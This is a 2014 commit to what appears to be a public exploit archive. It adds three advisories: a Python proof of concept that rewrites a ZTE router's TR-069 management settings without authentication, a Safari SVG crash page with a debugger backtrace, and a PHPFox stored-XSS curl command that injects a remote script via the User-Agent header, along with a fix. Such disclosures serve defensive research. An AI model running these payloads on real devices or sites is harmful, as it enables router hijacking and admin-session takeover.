Skip to content

Commit a28bed7

Browse files
author
Offensive Security
committed
Updated 11_19_2014
1 parent 892f0c3 commit a28bed7

8 files changed

Lines changed: 682 additions & 0 deletions

File tree

files.csv

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -31767,3 +31767,10 @@ id,file,description,date,author,platform,type,port
3176731767
35265,platforms/php/webapps/35265.php,"WordPress Recip.ly 1.1.7 'uploadImage.php' Arbitrary File Upload Vulnerability",2011-01-25,"AutoSec Tools",php,webapps,0
3176831768
35266,platforms/php/webapps/35266.txt,"MyBB Forums 1.8.2 - Stored XSS Vulnerability",2014-11-17,"Avinash Thapa",php,webapps,0
3176931769
35272,platforms/hardware/webapps/35272.txt,"ZTE ZXHN H108L - Authentication Bypass",2014-11-17,"Project Zero Labs",hardware,webapps,0
31770+
35274,platforms/php/webapps/35274.txt,"PHPFox - Stored XSS Vulnerability",2014-11-17,spyk2r,php,webapps,80
31771+
35275,platforms/xml/webapps/35275.txt,"Proticaret E-Commerce Script 3.0 - SQL Injection",2014-11-17,"BGA Security",xml,webapps,80
31772+
35276,platforms/hardware/webapps/35276.txt,"ZTE ZXHN H108L - Authentication Bypass",2014-11-17,"Project Zero Labs",hardware,webapps,80
31773+
35277,platforms/php/webapps/35277.txt,"WebsiteBaker 2.8.3 - Multiple Vulnerabilities",2014-11-17,"Manuel Garc�a C�rdenas",php,webapps,80
31774+
35278,platforms/php/webapps/35278.txt,"Zoph 0.9.1 - Multiple Vulnerabilities",2014-11-17,"Manuel Garc�a C�rdenas",php,webapps,80
31775+
35279,platforms/osx/dos/35279.html,"Safari 8.0 / OS X 10.10 - Crash PoC",2014-11-17,w3bd3vil,osx,dos,0
31776+
35280,platforms/windows/remote/35280.txt,".NET Remoting Services Remote Command Execution",2014-11-17,"James Forshaw",windows,remote,0
Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
About the software
2+
==================
3+
4+
ZTE ZXHN H108L is provided by some large Greek ISPs to their subscribers.
5+
6+
Vulnerability Details
7+
=====================
8+
9+
CWMP configuration is accessible only through the Administrator account. CWMP is a protocol widely used by ISPs worldwide for remote provisioning and troubleshooting their subscribers' equipment. However editing the CWMP configuration (more specifically sending the POST request) does not require any user authentication.
10+
11+
Affected Products
12+
=================
13+
Device model : ZTE ZXHN H108L
14+
Firmware Version : ZXHN H108LV4.0.0d_ZRQ_GR4
15+
16+
Proof of Concept
17+
================
18+
19+
#!/usr/bin/python
20+
21+
import requests
22+
23+
acs_server = "http://<server>:<port>"
24+
acs_user = "user"
25+
acs_pass = "pass"
26+
27+
# Connection request parameters. When a request is made to the following URL, using the specified user/pass combination,
28+
# router will connect back to the ACS server.
29+
30+
conn_url = "/tr069"
31+
conn_port = "7564"
32+
conn_user = "user"
33+
conn_pass = "pass"
34+
35+
#Periodic inform parameters
36+
active = 1
37+
interval = 2000
38+
39+
payload = {'CWMP_active': '1', 'CWMP_ACSURL': acs_server,'CWMP_ACSUserName': acs_user,'CWMP_ACSPassword': acs_pass, 'CWMP_ConnectionRequestPath': conn_url, 'CWMP_ConnectionRequestPort': conn_port, 'CWMP_ConnectionRequestUserName': conn_user, 'CWMP_ConnectionRequestPassword': conn_pass, 'CWMP_PeriodActive': active, 'CWMP_PeriodInterval': interval, 'CWMPLockFlag': '0' }
40+
41+
r = requests.post("http://192.168.1.254/Forms/access_cwmp_1", data=payload)
42+
43+
Impact
44+
======
45+
46+
The described vulnerability allows any unauthenticated user to edit the CWMP configuration. Exploitation can be performed by LAN users or through the Internet if the router is configured to expose the web interface to WAN. Also because the router lacks of CSRF protection, malicious JS code can be deployed in order to exploit the vulnerability through a malicious web page.
47+
48+
Severity
49+
========
50+
51+
Medium
52+
53+
References
54+
==========
55+
56+
https://projectzero.gr/en/2014/11/zte-zxhn-h108l-authentication-bypass/
57+
58+
59+
Disclosure Timeline
60+
===================
61+
62+
27/10/2014 - First communication attempt to both vendor and ISP
63+
04/11/2014 - ZTE response states that ISP should be contacted
64+
03/11/2014 - Second attempt to contact the ISP.
65+
14/11/2014 - No response from ISP. Public Disclosure
66+
67+
Contact Information
68+
===================
69+
Domain: https://projectzero.gr
70+
Social: twitter.com/projectzerolabs
71+
Contact: labs _at_ projectzero.gr

platforms/osx/dos/35279.html

Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
@w3bd3vil
2+
3+
<!DOCTYPE html>
4+
<head>
5+
<style>
6+
svg {
7+
padding-top: 1337%;
8+
box-sizing: border-box;
9+
}
10+
</style>
11+
</head>
12+
<body>
13+
<svg viewBox="0 0 500 500" width="500" height="500">
14+
<polyline points="1 1,2 2"></polyline>
15+
</svg>
16+
</body>
17+
</html>
18+
19+
<!--
20+
Safari 8.0 / OSX 10.10
21+
22+
* thread #1: tid = 0xc2e73, 0x00007fff8ab10282 libsystem_kernel.dylib`__pthread_kill + 10, queue = 'com.apple.main-thread', stop reason = signal SIGABRT
23+
frame #0: 0x00007fff8ab10282 libsystem_kernel.dylib`__pthread_kill + 10
24+
libsystem_kernel.dylib`__pthread_kill + 10:
25+
-> 0x7fff8ab10282: jae 0x7fff8ab1028c ; __pthread_kill + 20
26+
0x7fff8ab10284: movq %rax, %rdi
27+
0x7fff8ab10287: jmp 0x7fff8ab0bca3 ; cerror_nocancel
28+
0x7fff8ab1028c: retq
29+
(lldb) register read
30+
General Purpose Registers:
31+
rax = 0x0000000000000000
32+
rbx = 0x0000000000000006
33+
rcx = 0x00007fff5b761d98
34+
rdx = 0x0000000000000000
35+
rdi = 0x000000000000140f
36+
rsi = 0x0000000000000006
37+
rbp = 0x00007fff5b761dc0
38+
rsp = 0x00007fff5b761d98
39+
r8 = 0x0000000000000000
40+
r9 = 0x00000000000000a8
41+
r10 = 0x0000000008000000
42+
r11 = 0x0000000000000206
43+
r12 = 0x00007fff84b36487 "transform_is_valid(m)"
44+
r13 = 0x0000000108c2c000
45+
r14 = 0x00007fff747ae300 libsystem_pthread.dylib`_thread
46+
r15 = 0x00007fff84b36477 "Paths/CGPath.cc"
47+
rip = 0x00007fff8ab10282 libsystem_kernel.dylib`__pthread_kill + 10
48+
rflags = 0x0000000000000206
49+
cs = 0x0000000000000007
50+
fs = 0x0000000000000000
51+
gs = 0x0000000000000000
52+
53+
(lldb) bt
54+
* thread #1: tid = 0xc2e73, 0x00007fff8ab10282 libsystem_kernel.dylib`__pthread_kill + 10, queue = 'com.apple.main-thread', stop reason = signal SIGABRT
55+
* frame #0: 0x00007fff8ab10282 libsystem_kernel.dylib`__pthread_kill + 10
56+
frame #1: 0x00007fff904df4c3 libsystem_pthread.dylib`pthread_kill + 90
57+
frame #2: 0x00007fff88d36b73 libsystem_c.dylib`abort + 129
58+
frame #3: 0x00007fff88cfec59 libsystem_c.dylib`__assert_rtn + 321
59+
frame #4: 0x00007fff84643cb6 CoreGraphics`CGPathCreateMutableCopyByTransformingPath + 242
60+
frame #5: 0x00007fff84692a2f CoreGraphics`CGContextAddPath + 93
61+
frame #6: 0x00007fff8e9b5f04 WebCore`WebCore::GraphicsContext::fillPath(WebCore::Path const&) + 148
62+
frame #7: 0x00007fff8f479ad1 WebCore`WebCore::RenderSVGResourceSolidColor::postApplyResource(WebCore::RenderElement&, WebCore::GraphicsContext*&, unsigned short, WebCore::Path const*, WebCore::RenderSVGShape const*) + 65
63+
frame #8: 0x00007fff8f47a2fa WebCore`WebCore::RenderSVGShape::fillShape(WebCore::RenderStyle const&, WebCore::GraphicsContext*) + 122
64+
frame #9: 0x00007fff8f47a633 WebCore`WebCore::RenderSVGShape::fillStrokeMarkers(WebCore::PaintInfo&) + 131
65+
frame #10: 0x00007fff8eab4aeb WebCore`WebCore::RenderSVGShape::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 379
66+
frame #11: 0x00007fff8eab477d WebCore`WebCore::RenderSVGRoot::paintReplaced(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 1325
67+
frame #12: 0x00007fff8ea2c3f2 WebCore`WebCore::RenderReplaced::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 722
68+
frame #13: 0x00007fff8ef300a8 WebCore`WebCore::InlineElementBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) + 312
69+
frame #14: 0x00007fff8e9b1e83 WebCore`WebCore::InlineFlowBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) + 1251
70+
frame #15: 0x00007fff8e9b1929 WebCore`WebCore::RootInlineBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) + 89
71+
frame #16: 0x00007fff8e9613c6 WebCore`WebCore::RenderLineBoxList::paint(WebCore::RenderBoxModelObject*, WebCore::PaintInfo&, WebCore::LayoutPoint const&) const + 694
72+
frame #17: 0x00007fff8e95e9a3 WebCore`WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 67
73+
frame #18: 0x00007fff8e95dd54 WebCore`WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 420
74+
frame #19: 0x00007fff8e95ffdf WebCore`WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 287
75+
frame #20: 0x00007fff8f3d74c9 WebCore`WebCore::RenderBlock::paintChild(WebCore::RenderBox&, WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) + 393
76+
frame #21: 0x00007fff8e95eaa8 WebCore`WebCore::RenderBlock::paintChildren(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) + 72
77+
frame #22: 0x00007fff8e95ea50 WebCore`WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 240
78+
frame #23: 0x00007fff8e95dd54 WebCore`WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 420
79+
frame #24: 0x00007fff8e95ffdf WebCore`WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 287
80+
frame #25: 0x00007fff8f3d74c9 WebCore`WebCore::RenderBlock::paintChild(WebCore::RenderBox&, WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) + 393
81+
frame #26: 0x00007fff8e95eaa8 WebCore`WebCore::RenderBlock::paintChildren(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) + 72
82+
frame #27: 0x00007fff8e95ea50 WebCore`WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 240
83+
frame #28: 0x00007fff8e95dd54 WebCore`WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 420
84+
frame #29: 0x00007fff8e95ffdf WebCore`WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 287
85+
frame #30: 0x00007fff8f3d74c9 WebCore`WebCore::RenderBlock::paintChild(WebCore::RenderBox&, WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) + 393
86+
frame #31: 0x00007fff8e95eaa8 WebCore`WebCore::RenderBlock::paintChildren(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) + 72
87+
frame #32: 0x00007fff8e95ea50 WebCore`WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 240
88+
frame #33: 0x00007fff8e95dd54 WebCore`WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 420
89+
frame #34: 0x00007fff8e95ffdf WebCore`WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 287
90+
frame #35: 0x00007fff8e95e8e2 WebCore`WebCore::RenderLayer::paintForegroundForFragmentsWithPhase(WebCore::PaintPhase, WTF::Vector<WebCore::LayerFragment, 1ul, WTF::CrashOnOverflow> const&, WebCore::GraphicsContext*, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int, WebCore::RenderObject*) + 370
91+
frame #36: 0x00007fff8e95e5b7 WebCore`WebCore::RenderLayer::paintForegroundForFragments(WTF::Vector<WebCore::LayerFragment, 1ul, WTF::CrashOnOverflow> const&, WebCore::GraphicsContext*, WebCore::GraphicsContext*, WebCore::LayoutRect const&, bool, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int, WebCore::RenderObject*, bool, bool) + 423
92+
frame #37: 0x00007fff8e95d252 WebCore`WebCore::RenderLayer::paintLayerContents(WebCore::GraphicsContext*, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) + 2386
93+
frame #38: 0x00007fff8e95c6e2 WebCore`WebCore::RenderLayer::paintLayer(WebCore::GraphicsContext*, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) + 1010
94+
frame #39: 0x00007fff8e95d392 WebCore`WebCore::RenderLayer::paintLayerContents(WebCore::GraphicsContext*, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) + 2706
95+
frame #40: 0x00007fff8e988376 WebCore`WebCore::RenderLayerBacking::paintIntoLayer(WebCore::GraphicsLayer const*, WebCore::GraphicsContext*, WebCore::IntRect const&, unsigned int, unsigned int) + 358
96+
frame #41: 0x00007fff8f432baf WebCore`WebCore::RenderLayerBacking::paintContents(WebCore::GraphicsLayer const*, WebCore::GraphicsContext&, unsigned int, WebCore::FloatRect const&) + 799
97+
frame #42: 0x00007fff8ee86924 WebCore`WebCore::GraphicsLayer::paintGraphicsLayerContents(WebCore::GraphicsContext&, WebCore::FloatRect const&) + 132
98+
frame #43: 0x00007fff8f3b2f59 WebCore`WebCore::PlatformCALayer::drawLayerContents(CGContext*, WebCore::PlatformCALayer*, WTF::Vector<WebCore::FloatRect, 5ul, WTF::CrashOnOverflow>&) + 361
99+
frame #44: 0x00007fff8f60f367 WebCore`WebCore::TileGrid::platformCALayerPaintContents(WebCore::PlatformCALayer*, WebCore::GraphicsContext&, WebCore::FloatRect const&) + 167
100+
frame #45: 0x00007fff8f6983fc WebCore`-[WebSimpleLayer drawInContext:] + 172
101+
frame #46: 0x00007fff85249355 QuartzCore`CABackingStoreUpdate_ + 3820
102+
frame #47: 0x00007fff85248463 QuartzCore`___ZN2CA5Layer8display_Ev_block_invoke + 59
103+
frame #48: 0x00007fff8524841f QuartzCore`x_blame_allocations + 81
104+
frame #49: 0x00007fff85247f1c QuartzCore`CA::Layer::display_() + 1546
105+
frame #50: 0x00007fff8f69831b WebCore`-[WebSimpleLayer display] + 43
106+
frame #51: 0x00007fff85247641 QuartzCore`CA::Layer::display_if_needed(CA::Transaction*) + 603
107+
frame #52: 0x00007fff85246d7d QuartzCore`CA::Layer::layout_and_display_if_needed(CA::Transaction*) + 35
108+
frame #53: 0x00007fff8524650e QuartzCore`CA::Context::commit_transaction(CA::Transaction*) + 242
109+
frame #54: 0x00007fff85246164 QuartzCore`CA::Transaction::commit() + 390
110+
frame #55: 0x00007fff85256f55 QuartzCore`CA::Transaction::observer_callback(__CFRunLoopObserver*, unsigned long, void*) + 71
111+
frame #56: 0x00007fff867e5d87 CoreFoundation`__CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ + 23
112+
frame #57: 0x00007fff867e5ce0 CoreFoundation`__CFRunLoopDoObservers + 368
113+
frame #58: 0x00007fff867d7858 CoreFoundation`CFRunLoopRunSpecific + 328
114+
frame #59: 0x00007fff8434943f HIToolbox`RunCurrentEventLoopInMode + 235
115+
frame #60: 0x00007fff843491ba HIToolbox`ReceiveNextEventCommon + 431
116+
frame #61: 0x00007fff84348ffb HIToolbox`_BlockUntilNextEventMatchingListInModeWithFilter + 71
117+
frame #62: 0x00007fff90583821 AppKit`_DPSNextEvent + 964
118+
frame #63: 0x00007fff90582fd0 AppKit`-[NSApplication nextEventMatchingMask:untilDate:inMode:dequeue:] + 194
119+
frame #64: 0x00007fff90576f73 AppKit`-[NSApplication run] + 594
120+
frame #65: 0x00007fff90562424 AppKit`NSApplicationMain + 1832
121+
frame #66: 0x00007fff8d881ef2 libxpc.dylib`_xpc_objc_main + 793
122+
frame #67: 0x00007fff8d883a9d libxpc.dylib`xpc_main + 490
123+
frame #68: 0x000000010449ab40 com.apple.WebKit.WebContent`___lldb_unnamed_function1$$com.apple.WebKit.WebContent + 16
124+
frame #69: 0x00007fff850755c9 libdyld.dylib`start + 1
125+
frame #70: 0x00007fff850755c9 libdyld.dylib`start + 1
126+
(lldb)
127+
-->

platforms/php/webapps/35274.txt

Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
# Exploit Title: PHPFox XSS AdminCP
2+
# Date: 2014-10-22
3+
# Exploit Author: Wesley Henrique Leite aka "spyk2r"
4+
# Vendor Homepage: http://www.moxi9.com
5+
# Version: All version
6+
# CVE : CVE-2014-8469
7+
8+
# Response Vendor: fixed 2014-10-23 (to v4 Beta)
9+
10+
[+] DESCRIPTION
11+
12+
The system stores all urls accessed in a database table, below
13+
information in the same 'phpfox_log_session'
14+
15+
[phpfox]> desc phpfox_log_session;
16+
+---------------+----------------------+------+-----+---------+-------+
17+
| Field | Type | Null | Key | Default | Extra |
18+
+---------------+----------------------+------+-----+---------+-------+
19+
++++++++++ more values and
20+
| user_agent | varchar(100) | NO | | NULL | |
21+
+---------------+----------------------+------+-----+---------+-------+
22+
23+
the column that can be manipulated is:
24+
-> user_agent (100)
25+
26+
all acess store in the system, such as bots and users wandering around the
27+
web site, can be seen in:
28+
29+
AdminCP
30+
TOOLS > Online > Guests/Boots
31+
32+
Output
33+
| IP ADDRESS | User-Agent | ...
34+
35+
knowing this, the following code was created to inject a script into the
36+
AdminCP with User-Agent.
37+
38+
$ curl -A "<script src='http://www.example.com/script.js'></script>" \
39+
http://www.meusite.com.br/
40+
41+
OR
42+
43+
$ curl -A "<script>alert(1);</script>" http://www.meusite.com.br/
44+
45+
when any user with administrative access in.
46+
'AdminCP'
47+
TOOLS > Online > Guests/Boots
48+
49+
we have the script running in the administrative area.
50+
51+
52+
[+] My Solution
53+
54+
(line 1.8)
55+
56+
1.1 --- a/module/core/template/default/controller/admincp/online-guest.html.php
57+
Tue Oct 21 10:00:11 2014 -0200
58+
1.2 +++ b/module/core/template/default/controller/admincp/online-guest.html.php
59+
Tue Oct 21 12:28:39 2014 -0200
60+
1.3 @@ -25,7 +25,7 @@
61+
1.4 {foreach from=$aGuests key=iKey item=aGuest}
62+
1.5 <tr class="checkRow{if is_int($iKey/2)} tr{else}{/if}">
63+
1.6 <td><a href="{url link='admincp.core.ip'
64+
search=$aGuest.ip_address_search}" title="{phrase
65+
var='admincp.view_all_the_activity_from_this_ip'}">{$aGuest.ip_address}</a></td>
66+
1.7 - <td>{$aGuest.user_agent}</td>
67+
1.8 + <td>{$aGuest.user_agent|strip_tags}</td>
68+
1.9 <td class="t_center">
69+
1.10 <div class="js_item_is_active"{if !$aGuest.ban_id}
70+
style="display:none;"{/if}>
71+
1.11 <a href="#?call=ban.ip&ip={$aGuest.ip_address}&active=0"
72+
class="js_item_active_link" title="{phrase var='admincp.unban'}">{img
73+
theme='misc/bullet_green.png' alt=''}</a>
74+
1.12 @@ -43,4 +43,4 @@
75+
1.13 <div class="extra_info">
76+
1.14 {phrase var='admincp.no_guests_online'}
77+
1.15 </div>
78+
1.16 -{/if}
79+
1.17 \ No newline at end of file
80+
1.18 +{/if}

0 commit comments

Comments
 (0)